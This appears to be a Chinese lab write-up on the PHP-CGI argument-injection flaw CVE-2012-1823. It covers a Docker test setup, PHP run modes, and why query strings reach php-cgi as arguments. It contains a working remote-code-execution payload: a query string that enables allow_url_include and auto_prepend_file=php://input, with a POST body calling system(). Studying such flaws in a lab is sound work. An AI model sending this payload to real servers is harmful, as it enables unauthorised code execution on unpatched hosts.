环境搭建:
Docker Desktop开启cd /CVE-2012-1823
docker-compose up -d
本地访问80
端口
分析
PHP-CGI直接将用户的请求作为了PHP-CGI的参数执行,导致远程代码的执行。
先上执行结果
PHP的运行模式:
- CGI
通用网关接口,接收网页浏览器的数据发送给web服务器,再把执行结果返回给浏览器
参考:CGI相当于执行了response = exec("php -f index.php -url=xxx -cookie=xxx -xxx=xxx")
- FastCGI
CGI的升级版本,可以一直执行,而不需要每次都需要花费事件去fork一次
- Cli
php的命令运行模式,可以直接启动一个php文件并执行
- Module加载
针对apache,把php作为apache的一个子模块运行
CGI模式下可控的命令行参数:
漏洞成因:
首先得知道为什么会将用户的请求作为了PHP-CGI的参数执行?RFC3875中规定,当querystring中不包含没有解码的=号的情况下(感觉这个理解很拗口,在原文章找到了个评论好理解些:“没有编码的=号”),要将querystring作为cgi的参数传入。
所以可以对其进行利用,使用-d
来制造文件文件包含漏洞,实现远程文件包含
payload:
/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a
POST: <?php echo system('ls /');?>
allow_url_include=on 表示允许文件包含
auto_prepend_file 表示每次在加载访问的php文件之前都访问php://input (访问POST原始数据)
总结
emm,其实还不是非常理解querystring是怎么被CGI进行处理的,后续还会继续学习。
参考资料
https://www.freebuf.com/articles/web/213647.html
https://www.cnblogs.com/lthlsy/p/14820076.html
https://paper.seebug.org/297/
https://www.leavesongs.com/PENETRATION/php-cgi-cve-2012-1823.html
https://www.cnblogs.com/Renyi-Fan/p/9811197.html#_label0_1